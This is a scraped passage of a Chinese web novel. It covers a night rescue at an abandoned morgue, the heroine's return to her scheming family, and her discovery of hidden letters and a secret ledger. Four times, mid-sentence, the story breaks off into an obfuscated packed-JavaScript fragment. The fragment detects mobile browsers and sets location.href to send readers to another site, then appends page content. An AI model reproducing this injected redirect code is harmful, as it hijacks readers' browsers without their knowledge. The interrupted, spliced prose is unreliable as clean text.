“衙门里还有没处理完的事,无论背后是谁,总得先把放这把火的人揪出来,给你一个交代,也给县里百姓吃颗定心丸。”李弦道。 所以李弦是知道她会等他,才特意夜里过来,先给她送定心丸的。 可是,她又为什么会等李弦呢? 因为默契吧。 也可能是在不知不觉里养成的习惯。 但眼下更重要的显然事重振五味轩,让一切回归原本的正轨。 到这种时候,黎映真更是感谢李弦,因为赵淮的确帮了她不少忙。 因为暂时没追查到放火的凶手,和五味轩有关的所有人都还被笼罩在阴霾中。 黎映真自然也是如此,日子陷入了一种忙碌又诡异的平静。 不论是客来居还是五味轩,附近巡街的捕快显然比平日更勤了些,随时提防再有意外发生。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157632|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日傍晚,天色阴沉。 黎映真正在后厨与孙伯商量着重建五味轩的用料和菜单。 阿桃急匆匆跑来,脸色有些发白,道:“掌柜的,不好了!吴二……吴二他不见了!” “什么?”黎映真心头一跳,“赵先生呢?今日他不是去照顾吴二了吗?” “赵先生还在医馆,说是吴二午后气色好了些,想出去透透气。赵先生想着就在医馆附近走走无妨,便没拦着。可这都一个多时辰了,人还没回来。”阿桃急道,“赵先生把附近都找遍了,都没见着人。” 吴二刚经历大火,嗓子又受到重创,这阵子精神都很差,就算身体有所恢复,也不应该独自离开这么久。 知道情况不妙,黎映真让孙伯看着客栈,她带上阿桃立刻赶去医馆找赵淮。 刚冲出客栈大门,她便遇上了正好过来巡街的李弦。 “怎么了?慌慌张张的。”见她脸色不对,李弦立刻问道。 “吴二不见了。”黎映真道。 李弦眉头瞬间锁紧,眼神锐利,问道:“什么时候的事?在哪儿不见的?” “就在医馆附近,一个多时辰前。” 李弦略一沉吟,对身边的老梁道:“老梁,你带几个人,以医馆为中心向外搜查,重点是僻静小巷和废弃房屋,尤其要问问附近的摊贩和住户。” 老梁应声,即刻去办。 他又安抚了黎映真几句,跟她一起赶往医馆。 此时的医馆内,赵淮正急得团团转,满脸自责。 见李弦几人过来,他一五一十地将当时的情况又再复述了一遍。 “吴二出去的时候,有没有说什么特别的话?或者有没有什么可疑的人接近过他?”李弦问道。 赵淮努力回忆着,忽然道:“他出去前,是有一个货郎打扮的人在医馆门口晃悠,跟吴二搭了几句话。但我当时离得远,没听清他们说什么。” 黎映真与李弦对视一眼,都看到了彼此眼中的猜疑。 “李哥!”由远及近的这一声,打断了几人之间的沉默。 是一个在附近搜查的衙役正快步跑来,将手里一只布鞋递给李弦,道:“李哥,在那边巷口的水沟里找到的。” “是吴二的鞋。”赵淮一眼认了出来。 李弦仔细看了看,问道:“只有一只?” 衙役点头道:“只找到这一只。” 李弦带人去了那条水沟,仔细对比了鞋子沾染的污物、鞋底和水沟附近的痕迹,眸光冷锐,道:“没有挣扎的痕迹,是被人打晕拖走的。” 目光扫过周围,李弦吩咐那衙役道:“加派人手,扩大搜查范围。注意最近码头和医馆附近出现的生面孔。” 见黎映真忧心忡忡,李弦正想说些什么稍加安慰,又听见有人当街叫自己。 仍是衙门的人,但这次是从客来居过来的。 “刚刚有人送去客栈,说是要给黎掌柜的。”衙役道。 看李弦急得一把夺过衙役递来的字条,黎映真只凑近了去看。 李弦一面打开,一面问道:“什么人送来的。” “永利赌坊。” 而那张被打开的字条上,赫然写着:账本,子时,城西义庄,独来。 56. 第 56 章 夜色如墨,寒风呼啸,刮得黎映真脸上生疼。 怀里的布包被紧紧攥着,她深一脚浅一脚地走向那座孤立在城西荒地上的废弃义庄。 夜里的路不好走,又是孤身一人,风声似贴在耳膜的鬼魅低语,教黎映真不由停了脚步,借着惨淡的月光,忐忑地望向不远处那阴森的义庄轮廓。 长长出了口气,又将布包往怀里裹了些,她才继续向前走去。 义庄的院墙大半坍塌,露出里面黑黢黢的房舍框架。 腐坏的木门歪斜地挂着,在风中发出“吱呀吱呀”的声响。 空气中弥漫着一股陈腐的灰尘和某种难以言喻的的怪异气味。 冰冷的空气再次被深深吸入肺腑,借以用来平复始终紧张的情绪。 黎映真借着残垣断壁的阴影,小心翼翼地绕到了义庄的侧面—— 李弦同她说,那里是义庄窗户的位置,可以先以此窥探义庄大堂内的部分情况,再谋定而后动。 她屏住呼吸,凑近窗棂的破洞朝里望去。 稀疏的月光从义庄屋顶的破洞漏下,勾勒出几具蒙着厚厚灰尘的破旧棺椁的轮廓。 以及,被反绑着双手,正蜷缩在角落里的吴二。 只剩下一只鞋的吴二口中被塞着布团,正呜呜地挣扎着。 黎映真心头一动,从阴影中跑了出来,冲进大堂内,却在距离吴二几步开外的地方被突然出现的黑影挡住了去路。 她立即后退,抱紧了怀中的包裹。 黑衣人伸出手,有意压着声音道:“给我。” “先放了我的人。”黎映真打开布包,让黑衣人看清楚自己手中的东西,“一手交人一手交物。” 她提高了警觉,随时注意着身边的情况。 “少废话,把东西给我。”那人已有些耐不住性子。 黎映真坚持,尽量表现得平静,道:“你让吴二过来,我不过一个弱女子,不留点傍身的底线,怎么带人安全离开?” 那人转身,一把提起吴二的领子将人半拖了过来,道:“东西。” “我要验人。让他说话。”黎映真道。 那人扯掉吴二口中的布团。 “掌柜的快走!”吴二刚能说话,就嘶哑地喊起来。 话未说完,却就被那黑影一巴掌扇在脸上,声音戛然而止。 黎映真心头怒火升腾,却强忍着不能在此刻冲动。 “人看到了,东西!”黑衣人再次催促。 “让他过来。”黎映真将手里的册子略略抬高了一些,“我知道你有埋伏,来之前我自然也留了后手。你要杀人灭口,该透的消息还是会透出去。你最好希望我长命百岁。” 黑衣人为那本册子而来,更确切地说是为册子里的信息。 听黎映真这样说,他自然有所顾忌,只得先交出吴二。 待吴二安全回到自己身边,黎映真猛地将册子朝大堂另一个方向的角落用力扔去,喊道:“东西给你们。” 黑衣人飞身去追。 “咻!咻!” 两支弩箭从义庄另一侧的阴影中疾射而出,精准地命中黑衣人持刀的手臂! 与此同时,数道黑影从义庄外冲了进来。 刀光乍现,正有护在黎映真身边的。 李弦带头,趁黑衣人中箭不备,几招便将人制服,手里长刀一横,架在那人颈间,动作干净利落,道:“拿下。” 副手们迅速上前,将黑衣人捆了个结实。 黎映真护着浑身发抖的吴二,看着眼前发生的一切,只觉得太快也太顺利。 一道刺眼的红色焰火尖啸着蹿上夜空,砰然炸开。 是信号! 李弦脸色一变,厉声喝道:“有埋伏!小心!” 话音未落,义庄内突然窜出七八个手持利刃的黑影,杀气腾腾地将他们包围。 李弦眼神一凛,将黎映真往身后更深处推去,自己则横刀立于前,与副手等人背靠背,暂作防御。 “找机会带吴二走。”李弦时刻注意着黑影的动静,小声嘱咐黎映真道,“我也有后手,不用担心。” 情况紧急,由不得黎映真多想,她信李弦,所以只是点头以做回应。 一束刀光划破双方的僵持,义庄内充斥兵刃交击之声,火星四溅。 黎映真紧紧拉着吴二,躲在安排保护她的衙役身后,纵然心跳如鼓,也要强迫自己保持冷静,寻找可以离开的机会。 一道黑影突破了衙役们的防线,一刀劈向正与他人缠斗的李弦背后空门。 又是一道寒光划破落入义庄的月光,扎入那黑影后背的同时,带出一声惨叫。 李弦闻声回头,只借得暗淡光线看见在凌乱人影中发颤的单薄轮廓,喊道:“快走。” 察觉到身后危机,他迅捷侧身回旋,薄利的刀刃精准抹过另一道黑影的脖颈。 温热的鲜血溅了他半张脸。 “走!”他又大喝一声。 黎映真不再迟疑,拉起腿软的吴二,跌跌撞撞地朝义庄外跑去,任由身后金铁交击声,惨叫声依旧不绝于耳。 不知跑了多久,直到完全听不到身后的厮杀声,黎映真才扶着膝盖,大口大口地喘着粗气。 脑海里还是刚才她为了救李弦,情急之下扔出那把匕首的情景。 商定今夜计划之前,李弦将当初给她去锦瑟园防身的匕首又给了她,没成想,这回当真派上用场了。 身边负责护送的衙役也是气喘吁吁,吴二更是瘫坐在地上,面无人色,而黎映真始终回头望着义庄的方向。 李弦仍在险境,她心底焦灼如火。 应该回去。 “滴!搭档,回去找李弦,有助于突破热度值上限。” 系统又在这种关键时刻突然出现,但这次黎映真没有那么反感。 “回去救人,我要开启相应临时功能。”她道。 既是搭档,总要互惠互利,不能只让她以身犯险,系统却连必要的帮助都不给。 没有马上得到系统答复,黎映真故意表现得怒火中烧,吼道:“我回去送死对你有什么好处?给我开个临时挂,我救人,你拿热度值,两全其美,快点。” “滴!已开启临时功能【剧透】,限时十分钟,有助于宿主提前预判事态走向。” 没等系统简述完毕,黎映真已往义庄的方向跑去。 义庄内的交战还在继续,双方仍是焦灼之势。 但显然,李弦也有埋伏的帮手,此时已然上阵。 环顾着昏暗的义庄,黎映真试图搜寻到可以帮助李弦扭转局面的东西。 “发现可用道具。” 脑海中出现系统提示,黎映真看见墙角里覆盖着一堆破旧麻布,下头显然藏着什么东西。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167882|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“敌方距离道具更近,可以使用。” 她不敢耽误,快速窜到那堆东西旁,方才知道是几大袋不知存放了多久的生石灰,已有大半板结。 赶紧抓起地上一根半朽的木棍,黎映真用尽全身力气,朝着那几袋生石灰狠狠捅去。 “噗——” 袋口破裂,大量灰白色的粉末瞬间弥漫开来。 “咳咳咳!”离得最近的几个黑影猝不及防,被生石灰粉扑了满脸,顿时捂着眼睛惨叫起来,攻势大乱。 李弦抓住时机,刀势更加凌厉,瞬间又打伤了一个黑影。 惨叫声听得黎映真心惊肉跳,可在刀光剑影中触上李弦投来的目光,捕捉到他眼底的震惊和赞赏,那些盘踞在她心头的慌张和害怕便都烟消云散了。 “危险!” 黎映真脑海中警铃大作,身体不受自己控制一般往旁边闪躲。 李弦的身影随后才扑过来。 所以这次是系统作祟,绝对不止开启了一个功能。 “锵。” 李弦的刀及时挡住了黑影的攻势,他手腕一番,刀光如匹练般划过。 黎映真只听得又一声惨叫,李弦反手一刀,刀柄重重砸在黑影后颈,将其彻底击晕。 黑影们士气衰竭,不多时便被一一擒住。 “你怎么样?有没有受伤?”黎映真顾不上满身的灰尘和狼狈,快步冲到李弦身边,急切地询问。 李弦收刀入鞘,抬手,用袖管胡乱抹着脸上的血迹。 黎映真递上自己的手巾。 他摇头,道:“别脏了你的东西。” 她看得出李弦体力消耗巨大,这会儿身体起伏得厉害,说话声都还沙哑。 “但是你长进了不少。”夹杂着粗重喘息的声音,毫不掩饰对她的夸奖,“这回不光没哭,还帮了大忙。” 她本就不是多胆大的人,要面对生死险境,哪有不怕的道理? 这次她也怕,可一想到他还没有脱险,只是哭又能解决什么呢? 上回站在五味轩火场废墟上的担心和无措,她不想再经历了。 可这话她不想跟李弦说,于是扭过头道:“谁哭了,你别瞎说。” 膝盖却不似她的嘴硬,在确定安全之后,还是不自觉地发软。 李弦伸手,稳稳扶住她的胳膊,没反驳,只是低低笑了一声。 笑声落在黎映真耳畔,将这一晚上的紧张惊险都驱散了一般,心头轻松不少,她便跟着笑了出来。 “走吧。”李弦道。 黎映真还是将手巾塞到他手里,道:“脏就脏了,你这样出去,吓着人。我还在你旁边走呢,影响我的形象。” 最后那半句像是被含在口中似的,说得模模糊糊。 可有人听得清清楚楚,这就拿了手巾将脸上的血污擦干净了才离开。 月色还跟来时一样暗淡,山路也还是这一条,黎映真忽然不能理解,方才来时怎么就那样惴惴不安。 “直接回衙门吗?” “嗯,连夜审。” “如果审出线索……” “公事不便透露。” “……” 看她低着头没出声,李弦勾起嘴角,道:“不过要跟自己人通通气。” 那块沾了血污的手巾被牢牢攥在掌心,越想越觉得可惜。 早知,不听她的话了。 57. 第 57 章 两人再见面已是隔日的午后。 天色灰蒙蒙的,总不见晴,像是憋着一场大雪,却总也落不下来。 李弦踏着寒气进了客栈,依旧穿着公服,看着还算精神。 黎映真招呼完一位食客赶忙过来,走近了才发现这人脸上还是有掩不住的倦意。 “上头坐吧。” 黎映真给李弦让道,又叫住阿桃,让准备点饭菜和烤火炭盆送去楼上雅间。 李弦没客气,大步去了楼上,转眼就看黎映真跟着进来了。 “五味轩那儿可有要帮忙的?”身子一歪,他倚在短榻的细软里,双手还揣在袖管中,也不管黎映真瞧见了是不是要说他坐没坐相。 结果就是遭了一个带着浅笑的白眼,他还不以为意,只合眼养神。 黎映真听路过巡街的捕快说了,李弦这两天带头提审,夜里都是在衙门凑合,这会儿过来只可能是完成了最要紧的事,要跟她通气了。 她没打扰李弦休息,只在一旁坐着,等炭盆、饭餐一一上了,才道:“起来了。” 榻上的身影这才懒洋洋地起来,先去炭盆边烤火取暖,视线却落在正布菜的黎映真身上,道:“嫌我手脚慢,生气了?” “谁有这闲工夫。”放好碗筷,黎映真坐下,“再等就凉了。” “来了。”李弦猴似的蹿了过来,拿起碗筷就大快朵颐。 黎映真还是觉得,看他吃东西这样香,确实很刺激食欲。 等这人风卷残云一样吃饱了,黎映真才走开,在炭盆边坐下烤火时才听见李弦道:“吴二被绑,还有周坚失踪的案子,查到了一些线索。” 正张开取暖的手掌一滞,眉间本就浅淡的笑意眨眼间消散了,黎映真问道:“说来听听。” 李弦坐去她身边,视线在她脸上逡巡,像是在观察她的反应,又像是在斟酌措辞。 “两天没见,不认得我了?”黎映真故作轻松,双手却抬着不停地搓。 这样下意识的动作,明显透露着此刻内心的不安。 李弦挪了凳子又往她身边靠近一些,还那样看着她,道:“线索有些散碎,但有几条线隐隐约约都绕不开一个人……黎文远。” 手里的动作停下,炭火的温度不断在那一处皮肤聚集,终是烫得她嘶了一声,忙收回手:“证据呢?确凿吗?” “还不够。”李弦摇头,眉头紧锁,“目前眼下多是口供,人证物证都接不上。而且……” 见他眸光更沉,欲言又止,黎映真已有了准备,道:“我就说上次没跟我爹闹翻是明智之举。你这条线,还得在我这儿放。” 黎映真表面维持得还算轻松,只是李弦眼底的担忧渐渐让她明白另一件事——他在关心她,怕她就算遭受黎家的不公对待,也还是会因为血缘亲情而因此为难、痛苦。 就像这身体一样,会有本能反应,即便感受并不强烈。 这人心细起来,确实让她措手不及。 不过,回应李弦的目光时,她的眼中只有一片清明和决绝。 “我明白你的顾虑。”她的声音平静却坚定,“不过你都找我来通气了,我哪能把你给堵了?” 李弦眸光微动,问道:“你的意思是?” “我回黎家去。”她没有半分犹豫,“五味轩刚被烧,我‘惊魂未定’,回去寻求家族庇护,合情合理。住在黎家,更方便我暗中查探消息,不好吗?” 在她口中,一切看来理所应当,唯有李弦听着神色越发沉重,落在她身上的目光也越来越复杂。 “会有危险。”李弦道,“我想其他办法。” “留在客栈就安全了?”黎映真反问道,嘴角扯出的那抹弧度里带着嘲讽,“敌暗我明,总是被动。不如我主动出击,在黎家,我能掌握更多主动权。” “黎家没有能接应你的人。” “这你就不知道了,我可有内应呢。” 黎映真挑眉,面露得意,但见李弦始终忧忡的神情,她又敛容,目光恳切而坦诚,道:“这件事不查个水落石出,我寝食难安。这不仅关乎客栈的安危,也和周嫂有关,那可是一条人命。 “再说,帮你,就是帮你身后那么多要守护的百姓。我只是回趟家,有什么大不了?” 她的目光清澈坚定,自有一股不容置疑的力量。 李弦沉默片刻,终于叹了口气,道:“你可以回去,但必须答应我几个条件。” “你说。” “第一,我会安排人在黎家外围接应,若有紧急情况,以哨音为号。”他从怀中取出一个铜质小哨,递给她。 黎映真接过铜哨,听他继续说着。 “第二,在黎家,凡事以自保为先,不可贸然行动,有任何发现,先设法传递消息给我。” “第三……”他顿了顿,目光深深地看着黎映真,“无论查到什么,记住你的安全最重要。” 铜哨上仿佛还带着李弦身上的温度,黎映真虽未抬头,但他说的每一个字,她都记在心里了。 紧紧攥着铜哨,她点头,终于抬眼,回应李弦的眸光,郑重道:“我答应你。” 系统却在此时出现:“搭档,此项不在主线任务中,且严重偏离,建议拒绝,否则影响任务进度,不利于热度值提升。” “我偏不。”她说得斩钉截铁。 一声仿佛信号不良的“滋啦”声随即在脑海中响起。 一段混乱破碎的信息流一闪而过,好在黎映真及时捕捉到了几个模糊的词语片段。 【低效能】 【模式……监测】 系统这是又休眠了? 只要系统不强行干预,黎映真暂时还能与之共存,于是着手准备回黎家寻求庇佑的戏码。 黎世昌见她愿意回家,表面上看来高兴,但其中的淡漠和审视,无时无刻不在透露着他在衡量这个女儿还有多少价值。 相比之下,郑氏简单得多,只是起初有些惊愕于黎映真突然的转变,很快便又是曾经那副处处挤兑、阴阳怪气的刻薄样。 黎映真对在黎家的一切照单全收,尽量扮演者一个遭逢变故而顾虑重重、试图重拾家庭温暖的脆弱女儿。 只是在黎府住着,到底不比在外头自由,这样煎熬的日子,若是原身在,也许就是一辈子都爬不出的泥沼了。 原身没有勇气和能力反抗这样的命运,只能选择自我了结。 而如今的黎映真虽然不那么幸运地介入了原身的命运,但她不能坐以待毙。 好在黎家还有愿意帮助她的人——当初那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173144|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个帮她逃离黎家的丫鬟,翠环。 有翠环在身边,黎映真很快了解了黎府的情况,上至黎世昌的日常习惯,下至底下家丁拉帮结派,她都有了些了解。 只是在黎家的日子里,她不大见到黎文远。 按黎世昌的意思是,黎文远忙着开拓家里的生意,日常进出忙碌,少见人是正常的。 可就黎映真几次跟黎文远见面的情形看,她这个弟弟,除了毫不掩饰对她的警惕和敌意外,还有莫名的心虚。 他似乎在刻意避开与她的任何相处,即便有黎世昌和郑氏在场。 有时他们在饭桌上遇见,黎文远也只是碍于黎世昌的面子,坐下匆匆扒拉几口饭就借口离开。 这样在黎家待了一段时间,终于让她找到了一个难得的机会。 这夜,月黑风高,黎世昌跟郑氏外出赏梅未归,黎文远也不在府里。 黎映真换上一身深色便服,悄无声息地溜出居住的绣楼,往黎文远在外院的书房去。 据她的观察,黎文远近来常常深夜才归,那书房正是他处理私事的地方。 避开巡夜的家丁,她偷偷潜到书房窗外。 里面黑着灯,寂静无声。 她小心翼翼地推开门,快速蹿了进去。 黎文远不让人靠近书房,此时便给了黎映真方便。 她点了火折子,快速在书案上翻找起来。 那些堆叠的账本和闲书看来并无异常。 就连手边的抽屉里,也不过是一些散碎银两和无关紧要的杂物。 书房不大,几乎一眼就能望到头。 黎映真找了一遍,没有任何发现。 她不死心,又里里外外翻找了一次,果然在方才没注意的角落里,找到了一个上锁的红木箱子。 只是箱子上了锁,她不见得能打开。 【能量采集效率低于阈值,启动低功耗模式】 这段日子以来,黎映真不时会接收到各种系统杂音,今晚是第一次有这样完整的信息出现,虽然依旧夹杂着烦扰电子音。 脑海中灵光乍现,她似乎想明白了系统的运作模式。 它就像是一个依赖宿主制造“热点”来充能的寄生体,并非所谓的辅助者。 寄生体一旦吸光了宿主的养分,就会抛弃宿主,寻找下一个目标。 而她现在还能“任性”,则是因为系统认为她还有利用价值。 她这次故意偏离主线的行为很可能激怒系统,也许今晚这段信息,就是系统故意释放出来的。 说简单点就是,系统不想装了。 但只要还没触底,她就还有时间。 不再理会脑中的杂音,黎映真继续专注于眼前的锁。 可她没有开锁的本事,系统应该也不会在这种时候提供帮助,情况就此僵住。 时间一点点流逝,黎文远随时可能回来,万一被发现就是前功尽弃。 她心急,却也记得李弦的叮嘱,眼下当真没有办法,只能明日想法子把消息传出去,让李弦出主意。 将盒子放回原位,黎映真不甘心地又在书架前看了看,指尖无意中碰到底层一本厚重册子。 “哒。” 声音虽小,但那确实是机关被触动的声音。 58. 第 58 章 那一声轻响如是暗夜星火,教黎映真一阵惊喜。 她心头一动,将册子抽出,发现后面居然有一个暗格。 按捺着发现新线索的兴奋,黎映真迅速从暗格中取出几封书信和一本册子。 书信没有署名,册子跟她从原身母亲那找到的一样,封面空白。 黎家这些人莫不是都有这样的习惯? 就着火折子微弱的光线,黎映真快速翻看。 那册子是一本私账,记录的是一些零散且数额不小的资金出入,其中几笔的对方名号,赫然就是“裕丰行”的字样。 看时间,这进出的账目从前两年开始,也许是黎世昌那会儿才交给黎文远的。 而那几封信,字迹潦草,用语隐晦,但字里行间透出的信息让黎映真越看越是脊背发凉。 其中有一封信提到了“码头那批货”、“风声紧,暂缓”,另一封则催促“尽快处理掉碍事的尾巴”,落款处只有一个模糊的印记,看不真切。 “碍事的尾巴?”黎映真揣摩这这样的用词,“是指周嫂母子?还是其他知晓内情的人?” 情况紧急,既不能带走原件,黎映真只将信件和私账的内容飞快地默记于心,后将一切恢复原状,悄无声息地退出了书房。 回到绣楼,关上门,黎映真方才松了口气。 房里没有点灯,她靠着门扇,回想着书信中的内容,方才知道黎家卷入的程度远比自己想象的深。 翌日清早,黎映真照旧先去客来居,再找赵淮查看五味轩的重建进度。 赵淮说她自从回了黎家后,所有行事都不甚方便,虽然一切都还算按部就班地进行,但总觉得囿于闺阁的她,让所有人都不太习惯了。 “所有人?”黎映真奇怪道。 “是啊,我、管事、阿桃姑娘,还有……李捕快。”赵淮一面说,一面拿了这几日的账目给黎映真过目,“相关的材料支出都在这儿,只等掌柜的首肯,让我结了银子,准备的事就都妥当了。” 黎映真自然不怀疑赵淮的能力,账本要看,东西也要给。 她看着账目,不时提问,趁赵淮看着自己,在册子里头夹了东西。 赵淮眸光一变,却是不动声色,面上依旧回答黎映真的问题,见她交付账册,他迅速接过,又牢牢护在怀里。 就这样离开了五味轩,黎映真再回到黎家时,却是日薄西山,天光暗淡的时辰了。 才进门,她恰与黎文远碰上。 那傲慢惯了的黎家少爷虽曾在黎映真身上吃过亏,但如今在自己的地盘上,他那气焰自然嚣张至极。 “既回了家就少出去抛头露面,你不嫌丢人,家里人还要面子。”黎文远看她的眼神只比过去更倨傲阴鸷,怨毒无比。 黎映真当然知道,如今自己身后平白多了几双眼睛,跟进跟出的,还不敢露面。 “我去金叶寺给爹求平安符去了。”她道,“顺道听那儿的师父讲了会儿经,这才回来晚了。” 说着,黎映真取出两枚平安符甩在黎文远身上,不管他接不接,她先提步走了,只悠然丢下一句:“给你跟郑姨娘的。” 身后传来黎文远嫌弃的咒骂声,黎映真不以为意,原想往绣楼去,瞧见管家出来,遂让他将平安符转交给黎世昌。 走前,她朝后头的黎文远瞟了一眼。 管家心里一清二楚,周围又有那么多双眼睛看着,接了平安符就给黎映真让路,道:“小姐有心了。” 黎映真才回到绣楼,翠环神神秘秘地过来,从怀里掏出一只油纸包递给她。 “什么东西?”黎映真接过来打开一看,惊喜道,“曹记的酥饼。” 翠环恍然道:“我说什么东西温温热热的还透着股香气,原来是它呀。” “不是你买的吗?” “是一个没见过的小孩儿送来的,找的后头门房,点名要奴婢过去,然后就给了这个,说是一个自称讨人嫌的给小姐赔罪的。”翠环看了一眼那两个平平无奇的酥饼,瘪了瘪嘴,“赔罪就用这两个酥饼,也太没诚意了,是该讨人嫌。” 黎映真猜到是哪个“讨人嫌”的家伙送来的,但没跟翠环解释,问道:“这事儿会有其他人知道吗?” “小姐放心,我跟后头小扇子有交情,这事儿一准保密。”翠环说完又有些不放心,提醒道,“不过小姐,这人有意送东西进来定是要惹你注意,外头的人到底品流复杂,你可千万要当心,这两个酥饼不如还是丢了吧。” “曹记的酥饼,别人排着队买,丢了多可惜。”黎映真自然记得,有人曾用这酥饼感谢自己剥的花生米,这会儿再送这酥饼,必然是谢她送出去的线索。 她岂有不受之礼? 咬下第一口酥饼,香酥味就在唇齿间散开,探入肺腑,连带着这黎府里的空气都变得不那么令人窒息了。 送饼的这个人,先前还说在黎家没有眼线,现在却对府里的人际关系清清楚楚,否则如何能精准地找到从中传递的人还保证这酥饼一定能交到自己手上? 有些人心思细腻的程度,可是让她叹为观止呢。 再咬一口手里的酥饼,黎映真低声道:“怎么感觉比上次还好吃。” 接下来的几日,黎府表面平静,黎映真却比之前更加小心谨慎。 她虽先前“疯”名在外,但这次回了黎家,待人接物都和善有礼,对下人也不曾颐指气使,渐渐得了些好名声,再有翠环从旁协助,也算是在黎府里有了些自己的人脉。 她多与府中那些被边缘化的“老人”们打交道,借着在花园散心、或是去厨房要些点心的机会,有意无意与他们交谈,拉近距离。 起初,因郑氏的关系,下人们对她还心存戒备。 但接触得多了,又察觉这大小姐比从前要讨人喜欢得多,渐渐便都愿意与她多说几句。 黎映真便是从这些零碎的交谈中拼凑出一些有用的信息:原是黎夫人去世半年前,黎文远开始频繁接触一些外面的朋友,花销也大手大脚起来。 另有一位曾在黎夫人身边服侍的老嬷嬷,在黎夫人去世不久后被郑氏打发去了外头的庄子上。 这些琐碎的信息未必现在就能派上用场,但都被黎映真一一记在了心里。 与此同时,终于又让她等来了一个机会。 这日晚膳,黎映真发现桌上居然出现了几道平日没见过的菜式。 她道是黎世昌忽然要换换口味,便只如旧坐下。 只是人还未坐稳,她便听见黎世昌道:“映真,尝尝看,这可是你平日爱吃的菜。” 语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178065|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气是许久未有的温和,厅中灯火下,她看着黎世昌眼角的纹路都似乎舒展了些许。 黎映真故作一滞,不知黎世昌这是唱的哪出,只得硬着头皮继续演这父慈女孝的戏码。 “爹还记得呀。”她小尝一口,味道确实不错。 “老爷自不会忘记真姐儿喜欢的东西。”郑氏又是那副虚情假意的热络,“真姐儿特意给家里人求的平安符,我们都带着。真姐儿心里有我们,我们自然也都想着你的。” 她去金叶寺偷了一下午的清静,走前随手买了三道符,倒真成了彼此之间的台阶。 可这连吃一顿饭都要算计的所谓亲情,又真称得上血浓于水吗? 正等着黎世昌开诚布公,外头进来的那个风风火火的身影直接破坏了眼前虚假的和睦气氛。 郑氏见是黎文远,立即张罗添碗筷,拉着人往黎世昌身边一坐,直接对黎映真视若无物。 黎映真只安静坐着,直到听见黎文远发出一声冷哼,她才抬头。 那双杏眼圆溜,盈盈含笑,嘴角微微弯着,与眉眼的神情相得益彰。 可桌子对面那人的脸色铁青,回瞪着黎映真,又不敢当真做什么。 黎文远只用眼神在黎映真身上“剜”出几个洞来,与黎世昌道:“爹,黎映真回来有些时日了,还总往外头跑呢。一个姑娘家总在外头抛头露面像什么话。我看,客栈那边也该彻底交接清楚了,她才能安心在家侍奉,尽尽孝心才是正理。” 郑氏立即附和道:“是啊老爷,咱们最担心真姐儿的不就是这件事吗?外头的世道多乱,她一个人在外头,老爷日日都不放心。还是该尽快把事都交给文远,这样真姐儿也能多陪陪你。” 这话,从黎映真回来后,黎世昌就总听郑氏吹枕边风。 今日这顿晚膳原本也是因此而设,只是他没想黎文远回来直接开门见山就将事提了,倒是显得他居心叵测了。 老眉一皱,黎世昌冷冷看了黎文远一眼,见那不成器的儿子不服气得扭过头,他暗暗叹了一声,与黎映真道:“映真,你觉得呢?” 那一家三口的目光齐齐落在黎映真身上,即便有冷有热,用意却是统一的。 黎世昌为了不再落个逼迫骨肉至亲的恶名,便一再向黎映真捅软刀子,亏得她不是原身,没多少血骨亲情,不吃这套虚伪做派,才能如此坚定立场。 但眼下总不是撕破脸的时候,她还需用些巧劲儿。 在三道关注自己的目光里,黎映真选择了黎文远。 仍是那样看来友善的笑意,她的眼里却不见波澜,只有开口说话的语调,满是疑惑,另有赞叹:“我听爹说,文远接手了家里的生意,整日忙得不可开交,见你一面都难。这会儿还有心思顾上客来居?看来确实是能耐非凡,一个人能掰成两个人用呢。” 从前挨黎映真的骂,黎文远尚能摸清她的心思情绪,这会儿听这阴阳怪气的口吻,他反倒总也觉得对劲儿。 一个眼刀扎去黎映真身上,他目露凶光,质问道:“你什么意思?” 原还扒着桌沿的手缩去了桌下,黎映真垂着眼,有些委屈地低声道:“我怕。” 藏在袖管里拳头攥得紧在,这委屈装得她是真真的委屈。 回头,得问李弦多要两个酥饼吃。 59. 第 59 章 自从黎家出走,黎映真将客来居经营得风生水起,县中百姓多对她刮目相看,只认为这黎家出来的大小姐虽有时大胆得匪夷所思,却也是知难而上,从未听她说过一个“怕”字。 